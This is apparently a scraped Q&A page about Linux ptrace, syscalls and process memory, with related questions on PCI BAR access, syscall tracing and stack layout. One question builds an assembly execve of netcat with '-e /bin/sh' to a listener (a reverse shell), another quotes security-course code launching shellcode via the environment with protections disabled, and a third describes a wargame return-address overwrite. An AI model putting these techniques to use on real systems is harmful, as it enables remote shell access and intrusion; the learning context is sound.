Reading and modifying data of syscall with ptrace - linux

I am trying to do a simple thing (just for learning),
I wish to intercept clock_gettime on 64 bit linux, read the output and modify it so to return a flase date/time to the tracee (/bin/date).
What I do is:
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if(regs.orig_rax==228){ // this is the clock_gettime syscall number in 64 bit linux
unsigned long p1=ptrace(PTRACE_PEEKDATA, pid, regs.rcx, NULL); // rcx is ARG1
printf("ARG1: 0x%lx\n",p1);
}
Now if I understood correctly (clearly not) regs.rcx should point to a timespec structure, so
I should read the first long int of that structure which is the time in seconds (unixtime).
But I read 0.
Also, the printf is invoked twice, once entering the syscall and the second time exiting it.
So ok it's normal is 0 when entering but it should not be whene exiting.
Infact strace shows it correctly:
strace 2>&1 date|grep CLOCK
clock_gettime(CLOCK_REALTIME, {tv_sec=1583960872, tv_nsec=403163000}) = 0
How can I do the same?

found the error.. wrong register.. it was RSI
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
if(regs.orig_rax==228){ // this is the clock_gettime syscall number in 64 bit linux
unsigned long p1=ptrace(PTRACE_PEEKDATA, pid, regs.rsi, NULL); // rsi is ARG2
printf("ARG2: 0x%lx\n",p1);
}
for x86_64:
#define SYSCALL_ENTRY ((long)RET == -ENOSYS)
#define REGS_STRUCT struct user_regs_struct
#define SYSCALL (regs.orig_rax)
#define ARG1 (regs.rdi)
#define ARG2 (regs.rsi)
#define ARG3 (regs.rdx)
#define ARG4 (regs.r10)
#define ARG5 (regs.r8)
#define ARG6 (regs.r9)
#define RET (regs.rax)

Related

Linux Sys_execve wont run in assembly

I am writing an assembly program which needs to make a call to netcat and execute a program over the internet.
As I understand it, for a execve command, you point the EBX register to the program you want to run with a null byte at the end to terminate. you point the ECX register to arguments separated by null bytes with 2 null bytes at the end of the list of args. you just set EDX to a bunch of null bytes.
at my command int0x80 to execute the command my registers look like this:
Eax : 11 #system call
EBX: 0x0783140 #/bin//nc
ECX: 0x078314a #args
EDX: 0x07831a4 #env
Here's the value of the memory at 0x0783140 in ascii:
[null byte] = 0x00
/bin//nc[null byte]127.0.0.1[null byte]18833[null byte]-e[null byte]/bin/sh[null byte][null byte]
EBX points to '/bin//nc'
ECX points to '127.0.0.1'
RDX just points to a bunch of null bytes
The program will get to the int 0x80 call, but it will immediately return and put 0xfffffff2 in the EAX register.
Any help would be great.
EDIT: thanks to ephemient I'm now able to actually run netcat, but somehow I think my args are not being read by the program correctly. I think this because netcat runs but immediately exits with exit code 1 and no connection is established to my listener.
ecx now points to this in memory(note i put spaces between addresses for readability, but they do not exist in my program):
0x78315e 0x783168 0x78316e 0x783171 0x00000000
0x78315e => 127.0.0.1[Null Byte]
0x783168 => 18833[Null Byte]
0x78316e => -e[Null Byte]
0x783171 => /root/myprogram[Null Byte]
I have quadruple checked that the addresses actually point to the askii values above
You're getting errno=EFAULT (0xfffffff2 = -14, 14 = EFAULT), indicating that you're passing a bad address to the syscall.
SYS_execve takes 3 arguments, but the second and third are NULL-terminated arrays of pointers to arguments/environment strings, not a single string of nul-separated components. Interpreting the string as an array of pointers, means the first 4 bytes of the string are interpreted as the address of the first string, but it's not a valid address, hence EFAULT.
SYSCALL_DEFINE3(execve,
const char __user *, filename,
const char __user *const __user *, argv,
const char __user *const __user *, envp)

How do I read data from bar 0, from userspace, on a pci-e card in linux?

On windows there is this program called pcitree that allows you to set and read memory without writing a device driver. Is there a linux alternative to pcitree that will allow me read memory on block 0 of my pcie card?
A simple use case would be that I use driver code to write a 32bit integer on the first memory address in block zero of my pci-e card. I then use pcitree alternative to read the value at the first memory address of block zero and see my integer.
Thank you
I found some code online that does what I want here github.com/billfarrow/pcimem.
As I understand it this link offers code that maps kernel memory to user memory via the system call "mmap"
This was mostly stolen from the readme of the program, and the man pages of mmap.
mmap takes
a start address
a size
memory protection flags
file descriptor that that is linked to bar0 of your pci-card.
and an offset
mmap returns a userspace pointer to the memory defined by the start address and size parameters.
This code shows an example of mmaps usage.
//The file handle can be found by typing "lspci -v "
// and looking for your device.
fd = open("/sys/devices/pci0001\:00/0001\:00\:07.0/resource0", O_RDWR | O_SYNC);
//mmap returns a userspace address
//0, 4096 tells it to pull one page
ptr = mmap(0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
printf("PCI BAR0 0x0000 = 0x%4x\n", *((unsigned short *) ptr);
I use the way to get PCI BAR0 register described above but get the segmentation fault back. I use gdb to debug the error from my code as follows and it shows the return value of mmap() is (void *) 0xffffffffffffffff
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#define PRINT_ERROR \
do { \
fprintf(stderr, "Error at line %d, file %s (%d) [%s]\n", \
__LINE__, __FILE__, errno, strerror(errno)); exit(1); \
} while(0)
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)
int main(int argc, char **argv) {
int fd;
void *ptr;
//The file handle can be found by typing lscpi -v
//and looking for your device.
fd = open("/sys/bus/pci/devices/0000\:00\:05.0/resource0", O_RDWR | O_SYNC);
//mmap returns a userspace address
//0, 4096 tells it to pull one page
ptr = mmap(0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
printf("PCI BAR0 0x0000 = 0x%4x\n", *((unsigned short *) ptr));
if(munmap(ptr, 4096) == -1) PRINT_ERROR;
close(fd);
return 0;
}
On a system with functioning /dev/mem in the kernel it is possible to read a bar for a device using:
sudo dd if=/dev/mem skip=13701120 count=1 bs=256 | hexdump
Look at the dd man page. In the above example 13701120 * 256 is the start physical address at which 256 bytes will be read.

My strace program gave wrong output under 64bit linux system

I am building an online judge system. The key point is to trace system calls.
I choose ptrace. The subprocess will stopped because of SIGTRAP when it's going to enter one system call, then the parent process goes to read the orig_rax (orig_eax)register of subprocess to get the system call number.
When the code is running under Opensuse13.1 32bit, no problem, its output is the same as the linux command strace.
But I just test the code under Opensuse13.1 64bit, Ubuntu12.04 64bit, its output is wrong.
The demo code can be downloaded here : https://gist.github.com/kainwen/41a7bd0198099d766bda
Under 64bit linux system, you save the code strace_ls.c, compile it gcc strace_ls.c, and run it./a.out 2>out. The output is here
So my code's output is strange.
My code and its output is below:
#include <sys/resource.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
void judge_exe()
{
pid_t pid ;
int insyscall = 0 ;
struct user context ;
pid = fork() ;
if (pid == 0) { //child
ptrace(PTRACE_TRACEME,0,NULL,NULL) ;
execl("/usr/bin/ls","ls",NULL) ;
}
else {//parent
int status ;
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
while (1) {
wait(&status) ;
if (WIFEXITED(status)) //normally terminated
break;
else if (WIFSTOPPED(status) && (WSTOPSIG(status)==SIGTRAP)) {
if (!insyscall) {
insyscall = 1;
ptrace(PTRACE_GETREGS,pid,NULL,&context.regs);
fprintf(stderr,"syscall num: %d \n",context.regs.orig_rax);
} else
insyscall = 0;
}
ptrace(PTRACE_SYSCALL,pid,NULL,NULL);
}
return;
}
}
int main(int argc, char *argv[]) {
judge_exe();
}
The output of the code above is (just heading lines):
syscall num: 59
syscall num: 12
syscall num: 9
syscall num: 21
syscall num: 2
syscall num: 4
The heading lines of output of the linux command strace ls is:
execve("/usr/bin/ls", ["ls"], [/* 101 vars */]) = 0
brk(0) = 0x1bab000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7efff4326000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/usr/lib64/mpi/gcc/openmpi/lib64/tls/x86_64/libselinux.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat("/usr/lib64/mpi/gcc/openmpi/lib64/tls/x86_64", 0x7fff00c49b80) = -1 ENOENT (No such file or directory)
The number of system call sys_execve is 11, not 59 (the output of my code)
Solved
My method is right. The syscall number is different under 64bit and 32bit.

Computing memory address of the environment within a process

I got the following code from the lecture-slides of a security course.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
extern char shellcode;
#define VULN "./vuln"
int main(int argc, char **argv) {
void *addr = (char *) 0xc0000000 - 4
- (strlen(VULN) + 1)
- (strlen(&shellcode) + 1);
fprintf(stderr, "Using address: 0x%p\n", addr);
// some other stuff
char *params[] = { VULN, buf, NULL };
char *env[] = { &shellcode, NULL };
execve(VULN, params, env);
perror("execve");
}
This code calls a vulnerable program with the shellcode in its environment. The shellcode is some assembly code in an external file that opens a shell and VULN defines the name of the vulnerable program.
My question: how is the shellcode address is computed
The addr variable holds the address of the shellcode (which is part of the environment). Can anyone explain to me how this address is determined? So:
Where does the 0xc0000000 - 4 come from?
Why is the length of the shellcode and the programname substracted from it?
Note that both this code and the vulnerable program are compiled like this:
$ CFLAGS="-m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2"
$ cc $CFLAGS -o vuln vuln.c
$ cc $CFLAGS -o exploit exploit.c shellcode.s
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
So address space randomization is turned off.
I understood that the stack is the first thing inside the process (highest memory address). And the stack contains, in this order:
The environment data.
argv
argc
the return address of main
the framepointer
local variables in main
...etc...
Constants and global data is not stored on the stack, that's why I also don' t understand why the length of the VULN constant influence the address at which the shellcode is placed.
Hope you can clear this up for me :-)
Note that we're working with a unix system on a intel x86 architecture

why is the value of LD_PRELOAD on the stack

I'm studying buffer overflow and solving some wargames.
There was a problem that all of the stack memory above the buffer is set to 0 except return address of main, which will be:
buffer
[0000000...][RET][000000...]
and I can overwrite that RET.
So I found some hints for solving this problem.
It was to use LD_PRELOAD.
Some people said that LD_PRELOAD's value is in somewhere of stack not only in environment variable area of stack.
So I set LD_PRELOAD and search it and found it using gdb.
$ export LD_PRELOAD=/home/coffee/test.so
$ gdb -q abcde
(gdb) b main
Breakpoint 1 at 0x8048476
(gdb) r
Starting program: /home/coffee/abcde
Breakpoint 1, 0x8048476 in main ()
(gdb) x/s 0xbffff6df
0xbffff6df: "#èC\001#/home/coffee/test.so"
(gdb) x/s 0xbffffc59
0xbffffc59: "LD_PRELOAD=/home/coffee/test.so"
(gdb) q
The program is running. Exit anyway? (y or n) y
$
So there is!
Now I know that LD_PRELOAD's value is on stack below the buffer and now I can exploit!
But I wonder why LD_PRELOAD is loaded on that memory address.
The value is also on environment variable area of the stack!
What is the purpose of this?
Thanks.
Code to explore the stack layout:
#include <inttypes.h>
#include <stdio.h>
// POSIX 2008 declares environ in <unistd.h> (Mac OS X doesn't)
extern char **environ;
static void dump_list(const char *tag, char **list)
{
char **ptr = list;
while (*ptr)
{
printf("%s[%d] 0x%.16" PRIXPTR ": %s\n",
tag, (ptr - list), (uintptr_t)*ptr, *ptr);
ptr++;
}
printf("%s[%d] 0x%.16" PRIXPTR "\n",
tag, (ptr - list), (uintptr_t)*ptr);
}
int main(int argc, char **argv, char **envp)
{
printf("%d\n", argc);
printf("argv 0x%.16" PRIXPTR "\n", (uintptr_t)argv);
printf("argv[argc+1] 0x%.16" PRIXPTR "\n", (uintptr_t)(argv+argc+1));
printf("envp 0x%.16" PRIXPTR "\n", (uintptr_t)envp);
printf("environ 0x%.16" PRIXPTR "\n", (uintptr_t)environ);
dump_list("argv", argv);
dump_list("envp", envp);
return(0);
}
With the program compiled as x, I ran it with a sanitized environment:
$ env -i HOME=$HOME PATH=$HOME/bin:/bin:/usr/bin LANG=$LANG TERM=$TERM ./x a bb ccc
4
argv 0x00007FFF62074EC0
argv[argc+1] 0x00007FFF62074EE8
envp 0x00007FFF62074EE8
environ 0x00007FFF62074EE8
argv[0] 0x00007FFF62074F38: ./x
argv[1] 0x00007FFF62074F3C: a
argv[2] 0x00007FFF62074F3E: bb
argv[3] 0x00007FFF62074F41: ccc
argv[4] 0x0000000000000000
envp[0] 0x00007FFF62074F45: HOME=/Users/jleffler
envp[1] 0x00007FFF62074F5A: PATH=/Users/jleffler/bin:/bin:/usr/bin
envp[2] 0x00007FFF62074F81: LANG=en_US.UTF-8
envp[3] 0x00007FFF62074F92: TERM=xterm-color
envp[4] 0x0000000000000000
$
If you study that carefully, you'll see that the argv argument to main() is the start of a series of pointers to strings further up the stack; the envp (optional third argument to main() on POSIX machines) is the same as the global variable environ and argv[argc+1], and is also the start of a series of pointers to strings further up the stack; and the strings pointed at by the argv and envp pointers follow the two arrays.
This is the layout on Mac OS X (10.7.5 if it matters, which it probably doesn't), but I'm tolerably sure you'd find the same layout on other Unix-like systems.

Resources